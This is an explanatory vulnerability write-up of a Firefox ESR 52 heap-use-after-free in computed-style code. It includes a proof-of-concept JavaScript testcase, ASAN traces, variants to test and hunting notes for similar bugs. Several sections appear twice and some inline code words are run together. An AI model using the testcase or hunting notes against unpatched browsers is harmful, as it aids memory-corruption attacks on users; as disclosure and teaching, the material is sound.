#0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7f65ddbe0354 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2665:9
#2 0x7f65ddbdff46 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2840:3
#3 0x7f65ddbe701e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3826:3
#4 0x7f65ddbe64dc in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3651:9
#5 0x7f65ddbea556 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4144:3
#6 0x7f65e0a7cb19 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1440:3
#7 0x7f65e05aa55d in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1340:3
And the allocation stack:
previously allocated by thread T0 here:
#0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7f65e458003a in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7f65e458003a in NS_NewComputedDOMStyle(mozilla::dom::Element*, nsAString_internal const&, nsIPresShell*, nsComputedDOMStyle::StyleType) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:72
#4 0x7f65e066c40d in nsGlobalWindow::GetComputedStyleHelperOuter(mozilla::dom::Element&, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10814:5
#5 0x7f65e066be90 in nsGlobalWindow::GetComputedStyleHelper(mozilla::dom::Element&, nsAString_internal const&, bool, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10827:3
#6 0x7f65e066bb56 in nsGlobalWindow::GetComputedStyle(mozilla::dom::Element&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10743:10
ASAN summarises the fault as:
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool)
Root cause
The computed style object created by getComputedStyle is freed by the cycle collector in this sequence. In this sequence, a forced cycle collection frees it while a reference to it is still reachable and about to be used. The subsequent property read (width) enters UpdateCurrentStyleSources, which writes to a member of the freed object at line 639. The report does not identify the precise ownership mistake beyond the crash site; the likely cause is that the style object was not kept alive across the cycle collection, for example because the reference held by the pending XBL attached handler or the cross-compartment wrapper was not traced as a strong edge.
The dangling reference surfaced later, when the refresh driver flushed pending notifications and the attached handler read the property.
Impact
The report demonstrates a crash (ASAN abort) in the browser process. A use-after-free write into freed heap memory is potentially exploitable for code execution, but the report itself only shows the crash and does not demonstrate control of the freed contents or of the written value. The trigger requires the victim to load attacker-controlled HTML in an affected build; the fuzzer-specific fuzzPriv calls are part of the testcase, so a real-world reproduction would need the same collection to happen through normal garbage and cycle collection timing.
Fix
The report does not describe a fix. The appropriate fix would be to ensure the nsComputedDOMStyle object stays alive for the duration of the property read, for example by holding a strong reference across UpdateCurrentStyleSources and by making sure the reference held by the pending attached handler is traced by the cycle collector.
Variants to test
- Replace the
widthread with other CSS properties (height,color,display) to see whether the crash depends on the specific getter or onUpdateCurrentStyleSourcesgenerally. A positive result is the same ASAN report atnsComputedDOMStyle.cpp:639. - Vary the timing of the forced collection relative to the resize and the popup close, to see whether the window is narrow or wide. A positive result is the same use-after-free with a different allocation or free stack.
- Trigger the property read from a different callback (a timer, a mutation observer, an animation frame) instead of an XBL attached handler. A positive result is the same fault with the read reached through a different path.
- Use
getComputedStyleon elements in a document that is being torn down (closing a window, navigating away) and read a property afterwards. A positive result is a use-after-free in the computed style code.
Hunting notes
This kind of bug hides in code that mixes reference-counted style objects with cycle collection and with deferred work such as pending notification flushes and XBL attached handlers. During recon, look for APIs that hand out long-lived objects tied to a document (getComputedStyle, style declarations, range and selection objects) and for callbacks that run after the document may have been collected. The signal is a crash whose free stack goes through nsCycleCollector and whose use stack goes through a property getter or a flush.
What happened, in plain words
A security researcher found a way to make Firefox crash by loading a small web page. The crash happens because Firefox frees a piece of memory and then, a moment later, writes into that same memory as if it were still there. This kind of mistake is called a use-after-free: the program uses something after it has already thrown it away.
To understand why that is bad, imagine you borrow a library book, return it, and then later write notes in the margin. The book may already have been handed to someone else, or its pages may be reused for something completely different. Your notes end up in the wrong place, and nobody can predict what gets damaged. In a browser, memory that has been freed can be handed out again for a different purpose, so writing into it can corrupt data the browser still relies on.
The part of Firefox involved is the code that answers the question "what does this element actually look like on screen right now?". Web pages ask that question through a built-in browser function called window.getComputedStyle(). The report shows that, under a particular sequence of window openings, page changes and forced clean-up, the object holding that answer gets thrown away too early, and the next attempt to read a style value writes into the discarded memory.
The testcase uses a fuzzing helper object, fuzzPriv, to force memory clean-up on demand. The page in the report is a small testcase that still crashes. The researcher ran it against a special build of Firefox that has AddressSanitizer (ASAN) compiled in. ASAN is a debugging tool that watches every memory access and shouts immediately when a program touches memory it should not, which turns a silent corruption into a clear, labelled crash report.
Context
This is a crash report for a heap-use-after-free in Firefox's computed style code. It was filed against Mozilla's Core: DOM: Core & HTML component. "Core" is the part of Firefox that is not the user interface; "DOM" is the browser's in-memory model of a web page; "Core & HTML" is the team that looks after the basic building blocks of pages.
The affected function is nsComputedDOMStyle::UpdateCurrentStyleSources, which lives in the layout/style layer. That layer is what backs window.getComputedStyle(). Normally that function returns a live style object for an element, and reading a property such as width resolves the current computed value through nsComputedDOMStyle.
A few terms first, because they come up constantly:
- An API (application programming interface) is a defined way for one piece of software to ask another piece of software to do something.
window.getComputedStyle()is an API the browser offers to web pages: the page asks, the browser answers. - A DOM (Document Object Model) is the browser's live, tree-shaped representation of a page. Every tag becomes an object in that tree, and scripts can read and change those objects.
- Computed style means the final set of visual rules that apply to an element after all stylesheets, inheritance and defaults have been worked out. If a page says an element is
width: 50%and the window is 800 pixels wide, the computed width is 400 pixels. - The heap is the general-purpose pool of memory a program uses for objects it creates while running. A use-after-free on the heap means an object in that pool was released and then touched again.
The report is a fuzzer find: a minimal HTML testcase that drives window management, DOM mutation and garbage collection until the style object is freed while still in use.
Setup
The testcase was run against the latest ASAN build of Firefox ESR 52.2.0 (build 20170607010726). ESR stands for Extended Support Release, a version of Firefox that receives fixes for a long period rather than rapid feature updates.
The test harness uses fuzzPriv.GC() and fuzzPriv.CC() to force garbage collection and cycle collection at a chosen moment. These two ideas need explaining:
- Garbage collection (GC) is the browser's automatic memory cleaner. Scripts create objects constantly; when an object can no longer be reached by any running code, the GC reclaims its memory. You never call it yourself in normal browsing; it runs on its own schedule.
- Cycle collection (CC) is a second, related cleaner aimed at a specific problem. If object A points to object B and object B points back to object A, neither looks unused from the outside, so a simple GC may never free them. Cycle collection detects these circular references and frees them.
fuzzPriv exposes internal test hooks, including the ability to trigger GC and CC on demand. That matters because a fuzzer needs to make rare timing happen reliably; in a normal browser you cannot press a button that says "collect garbage now".
No accounts or special roles are involved; the only precondition is loading the page in that build.
Finding it
The crash is an AddressSanitizer heap-use-after-free, reported as a WRITE of size 8. "WRITE of size 8" means the program tried to store 8 bytes (on a 64-bit system, the size of a pointer or a large number) into the bad address.
The faulting access is in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) at layout/style/nsComputedDOMStyle.cpp:639:14. That notation means file nsComputedDOMStyle.cpp, line 639, column 14. The object at 0x60c0008a1ea0 sits 96 bytes inside a 128-byte region, and ASAN reports it as freed before the write. In other words, the memory block was 128 bytes long, the faulting address was 96 bytes into it, and that block had already been released.
The allocation stack shows the object was created by NS_NewComputedDOMStyle, reached from nsGlobalWindow::GetComputedStyleHelperOuter, GetComputedStyleHelper and GetComputedStyle, i.e. a getComputedStyle call. A stack here means a call stack: the list of function calls that led to a particular moment, newest at the top. The allocation stack answers "who created this object?".
The free stack shows it was released by the cycle collector: SnowWhiteKiller::~SnowWhiteKiller() and nsCycleCollector::FreeSnowWhite(bool) inside nsCycleCollector::BeginCollection, triggered through nsJSContext::CycleCollectNow and nsDOMWindowUtils::CycleCollect. The free stack answers "who destroyed this object?". "SnowWhite" is just the internal name Firefox gives to objects the cycle collector has decided are unreachable garbage.
In other words, a forced cycle collection freed the computed style object, and a later property read wrote into the freed memory.
Exploitation
Step 1: open two popups and hook the second one's load
The testcase opens two windows with unusual geometry and attaches a load handler to the second.
<script>
function start() {
o0=window.open('data:text/html,<div>','popup65','height=88,width=131081,top=46,outerHeight=-1024,toolbar,resizable');
o1=window.open('data:text/html,<div>','popup73','height=-1,width=64,outerHeight=38,outerWidth=-8,toolbar,resizable');
o1.onload=fun0;
}
Line by line:
<script>starts a block of JavaScript, the programming language web pages use.function start() {defines a function namedstart. A function is a named bundle of instructions that runs when called.o0=window.open(...)asks the browser to open a new window and stores a handle to it in a variable calledo0.window.openis the standard browser API for opening popups.- The first argument,
'data:text/html,<div>', is the page to load. A data URL carries the page content inside the URL itself instead of fetching it from a server. Here the entire page is a single empty<div>tag. Using a data URL means the test needs no web server and no network at all. - The second argument,
'popup65', is the window name. Naming a window lets scripts refer to it later. - The third argument is a comma-separated list of window features: size, position and which toolbars to show. The values include negative and oversized numbers (
outerHeight=-1024,width=131081,height=-1,outerWidth=-8). These are typical of fuzzer-generated input: the fuzzer does not care whether the numbers make sense, it just tries odd values to see whether anything breaks. - The next line opens a second popup the same way, stored in
o1, with its own odd geometry. o1.onload=fun0;tells the browser: when the second popup finishes loading, run the functionfun0. This is an event handler, a function attached to an event so it runs automatically when that event happens. Chaining stages through events is how the testcase controls ordering: each stage runs only after the previous one has finished.
o0 and o1 are the two popups, both loading a trivial data:text/html,<div> document. o1.onload=fun0 schedules the next stage once the second popup has loaded.
Step 2: mutate the first popup's DOM and resize it
function fun0(e) {
o5=o0.document;
o0.onresize=fun1;
o45=o5.querySelector('*:not([id])');
o95=document.createElementNS('http://www.w3.org/1999/xhtml','marquee');
o45.appendChild(o95);
o0.resizeBy(8,4194304);
}
Line by line:
function fun0(e) {defines the function that runs when the second popup has loaded. Theeis the event object the browser passes in, carrying details about what happened.o5=o0.document;reaches into the first popup and grabs itsdocument, the object representing that popup's page. From here on, the script is changing a different window's page, not its own.o0.onresize=fun1;registersfun1as the handler for the first popup's resize event. This is set up before the resize is triggered, so the handler is ready when it fires.o5.querySelector('*:not([id])')searches the first popup's page for the first element that matches a CSS selector.*means any element;:not([id])means "that does not have anidattribute". The result, the<div>from the data URL, is stored ino45.document.createElementNS('http://www.w3.org/1999/xhtml','marquee')creates a new element.createElementNSis the namespace-aware version of element creation: the first argument is the namespace, a string identifying which family of markup the element belongs to, and the second is the tag name.marqueeis an old scrolling-text tag. The element is created but not yet placed anywhere; it exists only in memory.o45.appendChild(o95);inserts the newmarqueeelement as a child of the<div>inside the first popup. This is the DOM mutation: the page's structure changes while the browser is running.o0.resizeBy(8,4194304);asks the first popup to change its size by 8 pixels horizontally and 4,194,304 pixels vertically. The huge number is again fuzzer-style input. The point is to make the browser fire a resize event, which runsfun1.
This grabs the first popup's document, selects its first element without an id (the <div>), appends a marquee element created in the XHTML namespace, and registers fun1 as the resize handler on o0. It then calls o0.resizeBy(8,4194304), which should fire the resize handler.
Step 3: close, reopen and force collection
function fun1() {
o0.close();
o1.open('data:text/html,<div>','popup3','width=1,left=32768,menubar,toolbar,personalbar,status,resizable');
fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
}
Line by line:
function fun1() {defines the resize handler.o0.close();closes the first popup. Its document, including the<div>and themarqueeadded in the previous step, is now being torn down. This is the moment the style object becomes a candidate for collection.o1.open(...)navigates the second popup to a new data URL page, again a bare<div>, with another set of window features. Reusing an existing window handle to load a new page is a normal browser capability.fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();forces garbage collection and cycle collection, twice each, back to back. Running them repeatedly increases the chance that everything unreachable is actually reclaimed before the next stage. The cycle collection is what frees thensComputedDOMStyleobject, as the free stack shows.
On resize, the first popup is closed, the second popup is navigated to a new data: document, and then garbage collection and cycle collection are forced twice each.
Step 4: the crash
The write into freed memory happens when a computed style property is read. The stack shows CSS2PropertiesBinding::get_width calling nsComputedDOMStyle::GetPropertyValue, then GetPropertyCSSValue, then UpdateCurrentStyleSources, which performs the write at line 639.
The read is reached through an Xray wrapper (xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get). An Xray wrapper is a protective layer Firefox puts between scripts from different origins, so that one page cannot reach into another page's objects and tamper with them. When a script reads a property across that boundary, the wrapper intercepts the read and forwards it safely.
The read is also reached through an XBL attached handler (nsXBLProtoImplAnonymousMethod::Execute, nsXBLBinding::ExecuteAttachedHandler). XBL (XML Binding Language) was an older Firefox mechanism for attaching behaviour to elements: a binding could define code that runs when the element is attached to the page. The handler here runs from PresShell::FlushPendingNotifications during a refresh driver tick. The refresh driver is the browser's internal clock that ticks many times a second to update animations, layout and rendering; a flush means "apply all the changes that have been queued up before doing anything else".
So the property access is not a plain script read: it happens inside a binding's attached handler while pending notifications are flushed. That is why the crash is not obvious from reading the testcase alone; the dangerous read is triggered indirectly by the browser's own housekeeping.
ASAN output:
==1349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0008a1ea0 at pc 0x7f65e45838b1 bp 0x7fff56b07810 sp 0x7fff56b07808
WRITE of size 8 at 0x60c0008a1ea0 thread T0
#0 0x7f65e45838b0 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14
#1 0x7f65e4583efb in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:796:3
#2 0x7f65e4582196 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26
#3 0x7f65e4581fb8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10
#4 0x7f65e0ed3ae9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1
#5 0x7f65e0ed3ae9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528
How to read this: each numbered line is one frame of the call stack, with #0 being where the crash actually happened and higher numbers being the callers. The address after in is the function name, and the path after it is the source file and line. So the browser was inside get_width (a generated function that serves the width property to JavaScript), which called GetPropertyValue, which called GetPropertyCSSValue, which called UpdateCurrentStyleSources, and that is where the 8-byte write landed on freed memory.
The free stack:
freed by thread T0 here:
#0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7f65ddbe0354 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2665:9
#2 0x7f65ddbdff46 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2840:3
#3 0x7f65ddbe701e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3826:3
#4 0x7f65ddbe64dc in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3651:9
#5 0x7f65ddbea556 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4144:3
#6 0x7f65e0a7cb19 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1440:3
#7 0x7f65e05aa55d in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1340:3
This stack answers "who freed the memory?". Reading from the bottom up: nsDOMWindowUtils::CycleCollect is the internal function behind the fuzzPriv.CC() call, which leads into CycleCollectNow, then into the cycle collector's Collect and BeginCollection, and finally FreeSnowWhite and the SnowWhiteKiller destructor actually release the object. The __interceptor_free frame at the top is ASAN's own wrapper around the standard C free function, which is how ASAN notices the release and marks the memory as poisoned.
And the allocation stack:
previously allocated by thread T0 here:
#0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7f65e458003a in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7f65e458003a in NS_NewComputedDOMStyle(mozilla::dom::Element*, nsAString_internal const&, nsIPresShell*, nsComputedDOMStyle::StyleType) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:72
#4 0x7f65e066c40d in nsGlobalWindow::GetComputedStyleHelperOuter(mozilla::dom::Element&, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10814:5
#5 0x7f65e066be90 in nsGlobalWindow::GetComputedStyleHelper(mozilla::dom::Element&, nsAString_internal const&, bool, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10827:3
#6 0x7f65e066bb56 in nsGlobalWindow::GetComputedStyle(mozilla::dom::Element&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10743:10
This stack answers "who created the memory in the first place?". Reading from the bottom up: nsGlobalWindow::GetComputedStyle is the internal implementation of the getComputedStyle API, which calls GetComputedStyleHelper and GetComputedStyleHelperOuter, which call NS_NewComputedDOMStyle, which allocates the object through operator new, moz_xmalloc and finally malloc. So the object that was later freed was born from a getComputedStyle call.
ASAN summarises the fault as:
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool)
Root cause
The computed style object created by getComputedStyle is freed by the cycle collector in this sequence. Reference counting means the object keeps a tally of how many parts of the program are using it; when the tally drops to zero, the object is destroyed. Cycle collection is the second safety net for objects that point at each other in a loop.
In this sequence, a forced cycle collection frees it while a reference to it is still reachable and about to be used. The subsequent property read (width) enters UpdateCurrentStyleSources, which writes to a member of the freed object at line 639.
The report does not identify the precise ownership mistake beyond the crash site; the likely cause is that the style object was not kept alive across the cycle collection, for example because the reference held by the pending XBL attached handler or the cross-compartment wrapper was not traced as a strong edge. A strong edge is a reference that counts as real usage, so the collector must keep the target alive; a weak reference, by contrast, does not keep anything alive and is expected to become invalid.
The dangling reference surfaced later, when the refresh driver flushed pending notifications and the attached handler read the property. A dangling reference is a handle to something that no longer exists, like a phone number for a disconnected line.
Impact
The report demonstrates a crash (ASAN abort) in the browser process. A use-after-free write into freed heap memory is potentially exploitable for code execution, but the report itself only shows the crash and does not demonstrate control of the freed contents or of the written value. "Code execution" means an attacker getting their own instructions to run on the victim's machine, which is the worst outcome for a memory bug; the report does not claim to have achieved it.
The trigger requires the victim to load attacker-controlled HTML in an affected build; the fuzzer-specific fuzzPriv calls are part of the testcase, so a real-world reproduction would need the same collection to happen through normal garbage and cycle collection timing. In plain terms: the crash is real, but the testcase uses a debugging shortcut to force the clean-up at exactly the right moment. Whether an ordinary page could hit the same timing by luck is not shown.
Fix
The report does not describe a fix. The appropriate fix would be to ensure the nsComputedDOMStyle object stays alive for the duration of the property read, for example by holding a strong reference across UpdateCurrentStyleSources and by making sure the reference held by the pending attached handler is traced by the cycle collector. In everyday terms: keep the library book checked out until you have finished writing in it, and make sure the librarian knows you still have it.
Variants to test
These are follow-up experiments a researcher would run to understand how wide the bug is. Each one changes a single thing and checks whether the same crash still appears.
- Replace the
widthread with other CSS properties (height,color,display) to see whether the crash depends on the specific getter or onUpdateCurrentStyleSourcesgenerally. A positive result is the same ASAN report atnsComputedDOMStyle.cpp:639. - Vary the timing of the forced collection relative to the resize and the popup close, to see whether the window is narrow or wide. A positive result is the same use-after-free with a different allocation or free stack.
- Trigger the property read from a different callback (a timer, a mutation observer, an animation frame) instead of an XBL attached handler. A positive result is the same fault with the read reached through a different path.
- Use
getComputedStyleon elements in a document that is being torn down (closing a window, navigating away) and read a property afterwards. A positive result is a use-after-free in the computed style code.
Hunting notes
This kind of bug hides in code that mixes reference-counted style objects with cycle collection and with deferred work such as pending notification flushes and XBL attached handlers. Deferred work means tasks the browser queues to run later, after the current script has finished; the gap between queueing and running is exactly where an object can be freed in between.
During recon, look for APIs that hand out long-lived objects tied to a document (getComputedStyle, style declarations, range and selection objects) and for callbacks that run after the document may have been collected. The signal is a crash whose free stack goes through nsCycleCollector and whose use stack goes through a property getter or a flush.
"Reliably" matters: a crash that happens once in a thousand runs is hard to confirm, while one that happens every time is easy to reproduce and fix.
Glossary
- API: a defined way for one piece of software to ask another to do something, such as a web page asking the browser for an element's computed style.
- AddressSanitizer (ASAN): a debugging tool built into a program that detects invalid memory access and reports it with a detailed stack trace.
- Allocation stack: the list of function calls that created a piece of memory, shown in a crash report.
- Call stack: the list of function calls currently in progress, newest at the top, used to trace how the program reached a point.
- Computed style: the final visual rules that apply to an element after all stylesheets, inheritance and defaults are resolved.
- Cross-compartment wrapper: a protective layer between scripts from different origins so one page cannot tamper with another's objects.
- CSS selector: a pattern used to pick elements from a page, such as
*:not([id])meaning any element without anid. - Cycle collection (CC): a memory cleaner that finds and frees groups of objects that reference each other in a loop.
- Dangling reference: a handle to an object that has already been destroyed.
- Data URL: a URL that carries the page content inside itself instead of fetching it from a server.
- Deferred work: tasks the browser queues to run later, after the current script finishes.
- DOM (Document Object Model): the browser's live tree-shaped representation of a page, which scripts can read and change.
- DOM mutation: a change to the structure of a page while the browser is running, such as adding an element.
- ESR (Extended Support Release): a Firefox version that receives fixes for a long period instead of rapid feature updates.
- Event handler: a function attached to an event so it runs automatically when that event happens.
- Flush: applying all queued changes before doing anything else.
- Fuzzer: a program that generates large numbers of unusual inputs automatically and watches for crashes.
- Garbage collection (GC): the browser's automatic cleaner that reclaims memory for objects no code can reach any more.
- Heap: the general-purpose pool of memory a program uses for objects it creates while running.
- Heap-use-after-free: a memory bug where a program writes to or reads from heap memory after it has been released.
- Namespace: a string identifying which family of markup an element belongs to, such as XHTML.
- Reference counting: keeping a tally of how many parts of a program use an object, and destroying it when the tally reaches zero.
- Refresh driver: the browser's internal clock that ticks many times a second to update animations, layout and rendering.
- Strong edge: a reference that counts as real usage, so a memory collector must keep the target alive.
- Use-after-free: using an object after it has been freed.
- XBL (XML Binding Language): an older Firefox mechanism for attaching behaviour to elements, including code that runs when an element is attached to the page.
- Xray wrapper: Firefox's protective layer that intercepts property reads across origin boundaries and forwards them safely.